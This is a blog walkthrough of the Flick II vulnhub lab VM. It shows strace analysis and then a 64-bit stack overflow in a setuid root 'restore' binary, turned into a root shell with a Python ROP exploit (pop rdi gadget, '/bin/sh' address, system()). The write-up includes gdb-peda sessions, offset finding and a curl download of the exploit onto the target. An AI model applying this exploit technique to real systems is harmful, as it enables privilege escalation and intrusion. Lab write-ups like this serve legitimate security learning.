[pid 3919] execve("/bin/gzip", ["gzip"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0

Let me explain the strace options:

strace -s 999 -v -f /usr/local/bin/backup 2>&1 | grep execve

-s strsize -- limit length of print strings to STRSIZE chars (default 32)

-> the output of the arguemtents would be cut off without this!

-v -- verbose mode: print unabbreviated argv, stat, termios, etc. args

-> prints all args

-f -- follow forks, -ff -- with output into separate files

-> follows all forking processes which is needed in this case

Now lets look at this part again:

[pid 3913] execve("/bin/sh", ["sh", "-c", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin; cd /usr/share/nginx/serverchecker/storage; /bin/tar -zvcf /home/sean/backup_$(/bin/date +\"%Y%m%d\").tar.gz *;"],

So its cd’ing into:

/usr/share/nginx/serverchecker/storage

and then doig a “tar … *

Sounds like someone is going wild with wildcards!

seanitisRead the linked paper above if you don’t understand what just happened!

Been there sean that

Whats the counterpart to /usr/local/bin/backup?
/usr/local/bin/restore of course!

Lets take a look at that folder again:

[sean@fII bin]$ ls -lisah
ls -lisah
total 2.0M
 33554623 0 drwxr-xr-x. 2 root root 59 Aug 17 2015 .
 188 4.0K drwxr-xr-x. 12 root root 4.0K Jun 22 2015 ..
 33554598 12K -rwsr-x---. 1 sean bryan 8.7K Jul 2 2015 backup
 68148501 1.1M -rwxr-xr-x. 1 root root 1.1M Jun 22 2015 composer
 34598952 12K -rwx--x--x. 1 root root 8.7K Jul 2 2015 dice
101716415 848K -rwsr-x--- 1 root sean 846K Aug 15 2015 restore

A root suid binary!

Lets analyze it a bit closer: 1. Normal behavior:

[sean@fII bin]$ restore

Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
/tmp/
Path is: /tmp/
Enter the output directory: /tmp
/tmp
Output directory is: /tmp
This is a beta, run the following command for now: 
/bin/sh -c "/usr/bin/tar xf /tmp/backup.tar.gz -C /tmp database.sqlite"
You are currently running this tool as: 
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)

A closer look with file:

[sean@fII bin]$ file restore

restore: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0x0768c7f84a21b18fa6e6779730ef0fa5d7161706, not stripped

Lets try to overflow the Manual input:

[sean@fII bin]$ restore
restore
Restore tool v0.1
Enter the path to the backup.tar.gz: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa is invalid. Directory names need to end with a /
[sean@fII bin]$ restore
restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
/tmp/
Path is: /tmp/
Enter the output directory: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Segmentation fault

Segfault! There is probably a Buffer Overflow here!

Until now I only have done 32bit Bufferoverflows but I can at least verify that I can overwrite the Instruction Point!

I scp’ed the binary to my Kali box and ran it in gdb:

First I am going to check the security features it was compiled with:

gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

NX – No Execution means I cannot simply put my shellcode on the stack as it is marked as non-executable (time to learn ROP!).

sdf

root@kali:~/vulnhub/flickII# gdb restore
GNU gdb (Debian 7.11.1-2) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from restore...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /root/vulnhub/flickII/restore 
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
Path is: /tmp/
Enter the output directory: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe0d0 ('A' <repeats 200 times>...)
RBX: 0x400310 (<_init>: sub rsp,0x8)
RCX: 0x7ffffec6 
RDX: 0x6bf600 --> 0x0 
RSI: 0x7ffff7ff9000 ("Output directory is: ", 'A' <repeats 179 times>...)
RDI: 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe118 ('A' <repeats 200 times>...)
RIP: 0x40101f (<get_out_path+62>: ret)
R8 : 0x4141414141414141 ('AAAAAAAA')
R9 : 0x4141414141414141 ('AAAAAAAA')
R10: 0x124 
R11: 0x246 
R12: 0x0 
R13: 0x401710 (<__libc_csu_init>: push r14)
R14: 0x4017a0 (<__libc_csu_fini>: push rbx)
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0x401015 <get_out_path+52>: call 0x402130 <printf>
 0x40101a <get_out_path+57>: lea rax,[rbp-0x40]
 0x40101e <get_out_path+61>: leave 
=> 0x40101f <get_out_path+62>: ret 
 0x401020 <do_restore>: push rbp
 0x401021 <do_restore+1>: mov rbp,rsp
 0x401024 <do_restore+4>: sub rsp,0x20
 0x401028 <do_restore+8>: mov QWORD PTR [rbp-0x18],rdi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe118 ('A' <repeats 200 times>...)
0008| 0x7fffffffe120 ('A' <repeats 200 times>...)
0016| 0x7fffffffe128 ('A' <repeats 200 times>...)
0024| 0x7fffffffe130 ('A' <repeats 196 times>)
0032| 0x7fffffffe138 ('A' <repeats 188 times>)
0040| 0x7fffffffe140 ('A' <repeats 180 times>)
0048| 0x7fffffffe148 ('A' <repeats 172 times>)
0056| 0x7fffffffe150 ('A' <repeats 164 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040101f in get_out_path ()
gdb-peda$

No 41’s in RIP!!!!!!! :’-(

Time to learn new stuff! Thanks again to @_RastaMouse who pointed me to two wonderful 64bit BOF tutorials from @superkojiman:

https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/

So to quote the first tutorial:

So the program crashed as expected, but not because we overwrote RIP with an invalid address. In fact we don’t control RIP at all. Recall as I mentioned earlier that the maximum address size is 0x00007FFFFFFFFFFF. We’re overwriting RIP with a non-canonical address of 0x4141414141414141 which causes the processor to raise an exception. In order to control RIP, we need to overwrite it with 0x0000414141414141 instead. So really the goal is to find the offset with which to overwrite RIP with a canonical address. We can use a cyclic pattern to find this offset…

So thats why there are no A’s in RIP! But as you can read in the first tutorial the following works:

gdb-peda$ pattern_create 400 pattern.txt
Writing pattern of 400 chars to filename "pattern.txt"

Now we need to append the first Input Value:

root@kali:~/vulnhub/flickII# sed -i '1i/tmp/' pattern.txt 
root@kali:~/vulnhub/flickII# cat pattern.txt 
/tmp/
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y

And feed that into the program inside of gdb

gdb-peda$ r < pattern.txt 
Starting program: /root/vulnhub/flickII/restore < pattern.txt
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe0d0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
RBX: 0x400310 (<_init>: sub rsp,0x8)
RCX: 0x7ffffe5a 
RDX: 0x6bf600 --> 0x0 
RSI: 0x7ffff7ff9000 ("Enter the output directory: Output directory is: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAAS"...)
RDI: 0x0 
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...)
RIP: 0x40101f (<get_out_path+62>: ret)
R8 : 0x7925417825415a25 ('%ZA%xA%y')
R9 : 0x5725417425415625 ('%VA%tA%W')
R10: 0x190 
R11: 0x246 
R12: 0x0 
R13: 0x401710 (<__libc_csu_init>: push r14)
R14: 0x4017a0 (<__libc_csu_fini>: push rbx)
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0x401015 <get_out_path+52>: call 0x402130 <printf>
 0x40101a <get_out_path+57>: lea rax,[rbp-0x40]
 0x40101e <get_out_path+61>: leave 
=> 0x40101f <get_out_path+62>: ret 
 0x401020 <do_restore>: push rbp
 0x401021 <do_restore+1>: mov rbp,rsp
 0x401024 <do_restore+4>: sub rsp,0x20
 0x401028 <do_restore+8>: mov QWORD PTR [rbp-0x18],rdi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...)
0008| 0x7fffffffe120 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4"...)
0016| 0x7fffffffe128 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%"...)
0024| 0x7fffffffe130 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA"...)
0032| 0x7fffffffe138 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
0040| 0x7fffffffe140 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%"...)
0048| 0x7fffffffe148 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0056| 0x7fffffffe150 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040101f in get_out_path ()
gdb-peda$

Okay Im not yet really experienced in this so you might want to double-check or read up on this but my understanding is:

  • When a new function is called, first the return address is pushed on the stack and then the new stack frame is posted about it
  • At the time of the crash the RSP points directly above the Return Adress

So lets check out RSP and calculate the offset of RIP:

Stopped reason: SIGSEGV
0x000000000040101f in get_out_path ()
gdb-peda$ x/wx $rsp
0x7fffffffe118: 0x65414149
gdb-peda$ pattern_offset 0x65414149
1698775369 found at offset: 72
gdb-peda$

So RIP starts at offset 72 Bytes should be 6 bytes long and prepended with 2 null bytes.

Again thanks to @superkojiman for his python template to generate an according string:

#!/usr/bin/env python
from struct import *

buf = ""
buf += "/tmp/\n"
buf += "A"*72 # offset to RIP
buf += pack("<Q", 0x424242424242) # overwrite RIP with 0x0000424242424242
buf += "C"*100 # padding to keep payload length at 400 bytes

f = open("in.txt", "w")
f.write(buf)

Now lets feed this into the binary inside of gdb:

gdb-peda$ r < in.txt
Starting program: /root/vulnhub/flickII/restore < in.txt
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe0d0 ('A' <repeats 72 times>, "BBBBBB")
RBX: 0x400310 (<_init>: sub rsp,0x8)
RCX: 0x7fffff9c 
RDX: 0x6bf600 --> 0x0 
RSI: 0x7ffff7ff9000 ("Enter the output directory: Output directory is: ", 'A' <repeats 72 times>, "BBBBBB\n")
RDI: 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe120 ('C' <repeats 100 times>)
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x4141414141414141 ('AAAAAAAA')
R9 : 0x4141414141414141 ('AAAAAAAA')
R10: 0x4e ('N')
R11: 0x246 
R12: 0x0 
R13: 0x401710 (<__libc_csu_init>: push r14)
R14: 0x4017a0 (<__libc_csu_fini>: push rbx)
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe120 ('C' <repeats 100 times>)
0008| 0x7fffffffe128 ('C' <repeats 92 times>)
0016| 0x7fffffffe130 ('C' <repeats 84 times>)
0024| 0x7fffffffe138 ('C' <repeats 76 times>)
0032| 0x7fffffffe140 ('C' <repeats 68 times>)
0040| 0x7fffffffe148 ('C' <repeats 60 times>)
0048| 0x7fffffffe150 ('C' <repeats 52 times>)
0056| 0x7fffffffe158 ('C' <repeats 44 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()
gdb-peda$

So now I control EIP like in the old (x86) days!

So lets remember the NX security flag! I cannot just put my shellcode on the stack (in the buffer string) and execute it!

I need to used Returned Oriented Programming (ROP) and try to find so called ROP Gadgets on the stack that that return to libc so I can pass my own command to libc after the program finishes (crashes)!

So as mentioned a couple of times this is all heavily borrowed, but I like to explain it a bit more in details (for simpleminded people like myself):

  1. I want to jump (return) to system()I can find the Address of system() with gdb-peda:
    gdb-peda$ p system
    $1 = {<text variable, no debug info>} 0x401fd0 <system>

    –> 0x401fd0

  2. I want system() to spawn me a /bin/shFor this to work I need to push a memory address that contains “/bin/sh” into RDI, as arguments for function calls are apparently transmitted via registers in 64bit architecture.I can use gdb-peda again to find this:
    gdb-peda$ find "/bin/sh"
    Searching for '/bin/sh' in: None ranges
    Found 2 results, display max 2 items:
    restore : 0x492bad --> 0x68732f6e69622f ('/bin/sh')
    restore : 0x492d20 --> 0x68732f6e69622f ('/bin/sh')

    I used the second one –> 0x492d20

  3. The Buffer string will place the above aquired memory address on the stack, now I need a rop gadget (instruction) that pushes the top of the stack into RDI.I can find this gadget using ropper:
    [INFO] Searching for gadgets: pop rdi
    
    [INFO] File: restore
    0x000000000046c2fd: pop rdi; add eax, dword ptr [rax]; add byte ptr [rax - 0x7d], cl; ret 0x4910; 
    0x000000000047bf07: pop rdi; fmulp st(1); ret; 
    0x0000000000412de9: pop rdi; in al, dx; mov qword ptr [rdi - 0xc], rcx; mov dword ptr [rdi - 4], edx; ret; 
    ...
    ...
    ...
    0x00000000004af2a9: pop rdi; cmc; jmp qword ptr [rax]; 
    0x00000000004ae825: pop rdi; cmc; jmp qword ptr [rdx]; 
    0x000000000040167e: pop rdi; ret; 
    0x0000000000454747: pop rdi; sti; jmp qword ptr [rsi + 0xf];

    –> 0x000000000040167e: pop rdi; ret;

With this 3 gadgets I can now build my very own first x64 and my very own first ROP exploit:

#!/usr/bin/env python
from struct import *

buf = ""
buf += "/tmp/\n"
buf += "A"*72 # offset to RIP
buf += pack("<Q", 0x000000000040167e) # pop rdi; ret - found via >ropper --file restore --search "pop rdi"
buf += pack("<Q", 0x492d20) # /bin/sh - found via gdb-peda$ find "/bin/sh"
buf += pack("<Q", 0x401fd0) # system - found via gdb-peda$ p system 

f = open("in.txt", "w")
f.write(buf)

Now lets try this locally on Kali in gdb-peda first:

gdb-peda$ r < in.txt
Starting program: /root/vulnhub/flickII/restore < in.txt
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
[New process 12389]
process 12389 is executing new program: /bin/dash
[New process 12390]
process 12390 is executing new program: /bin/dash
[Inferior 3 (process 12390) exited normally]
Warning: not running or target is remote

I see 2 /bin/dash, I hope that is good! :)

Lets pipe directly into the binary:

root@kali:~/vulnhub/flickII# (cat in.txt; cat) | ./restore
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
id
uid=0(root) gid=0(root) Gruppen=0(root)

This looks good! Obviously I already started the binary as root, however remember the original functionality of the program? It did not provide an interactive prompt!!!

So lets transfer the exploit to flickII and see if I can get root via the setuid version of the binary there:

[sean@fII bin]$ curl http://192.168.0.56/flick2-myexploit.py -o /tmp/myexploit.py
</192.168.0.56/flick2-myexploit.py -o /tmp/myexploit.py 
 % Total % Received % Xferd Average Speed Time Time Time Current
 Dload Upload Total Spent Left Speed
100 416 100 416 0 0 34955 0 --:--:-- --:--:-- --:--:-- 37818
[sean@fII bin]$ cd /tmp
cd /tmp
[sean@fII tmp]$ chmod +x myexploit.py
chmod +x myexploit.py
[sean@fII tmp]$ ./myexploit.py
./myexploit.py
[sean@fII tmp]$ python myexploit.py
python myexploit.py
[sean@fII tmp]$ cat in.txt
cat in.txt
/tmp/
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@ -I�@[sean@fII tmp]$ 

[sean@fII tmp]$ 
[sean@fII tmp]$ cat in.txt | /usr/local/bin/restore
cat in.txt | /usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
Segmentation fault
[sean@fII tmp]$ id
id
uid=1002(sean) gid=1002(sean) groups=1002(sean),1001(bryan)
[sean@fII tmp]$ (cat in.txt; cat) | /usr/local/bin/restore
(cat in.txt; cat) | /usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/


Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
id
id
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)

HELL YEAH \o/

And here I plant my flag:

flag

Thanks

This VM was a real blast for me! First I could apply my newly learnt skills from this Years 2016 SANS Holiday Hack Challenge!

Then I could freshen up some rusty LD_PRELOAD knowledge and finally it forced me to understand and write my first 64bit and my first ROP exploit! :-D

Thanks to:

@leonjza for this awesome VM
@_RastaMouse for helping me in IRC and his great WriteUp!
@superkojiman for his awesome 64bit Stack Smashing Tutorials!!!

Posted in boot2root, miscellaneous, vulnhub | 1 Comment

vulnhub: flickII – a different approach – walkthrough part1

Hey,

Another vulnhub walkthrough, however this time a special one for me, because it required new special knowledge I just acquired.

Flick II on vulnhub: https://www.vulnhub.com/entry/flick-2,122/

Introduction to FlickII

I first grabbed FlickII when it was fresh in August 2015. I loved that it comes with an Android APK, that is the key to hack the VM!

So when you download and extract the VM image it is accompanied by an Android APK! Back in August 2015 I already figured out how to set up an Android Emulator and use burp to mitm Android apps!

However my plans were quickly dismissed when I learned that Certificate Pinning is common to secure the SSL Traffic between Android Apps and their API’s :-(

Before benching the VM for over a year I quickly checked the existing Walkthroughs but decided they were way to complicated for a “non-programmer” like myself…

Thanks SANS!

But thanks to this years SANS HolidayHackChallenge 2016 I learnt a great deal about hacking Android APKs!

